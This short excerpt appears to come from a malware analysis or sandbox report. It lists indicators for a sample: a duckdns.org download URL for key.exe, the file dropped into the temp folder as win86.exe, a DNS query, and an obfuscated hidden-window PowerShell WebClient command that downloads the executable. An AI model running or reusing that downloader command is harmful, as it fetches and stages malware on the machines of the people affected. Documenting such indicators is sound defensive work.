Technical Information
- http://ipvhosted.duckdns.org:6060/docs/key.exe as %temp%\win86.exe
- 'ip#####ed.duckdns.org':6060
- http://ip######d.duckdns.org:6060/docs/KEY.exe via ip#####ed.duckdns.org
- DNS ASK ip#####ed.duckdns.org
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' " ( NEw-OBjECt System.NeT.WEBCLiENt ).dOWNLoAdFiLE( ”http://ipvhosted.duckdns.org:6060/docs/KEY.exe” , ”$eNv:tEmP\win86.exe...' (with hidden window)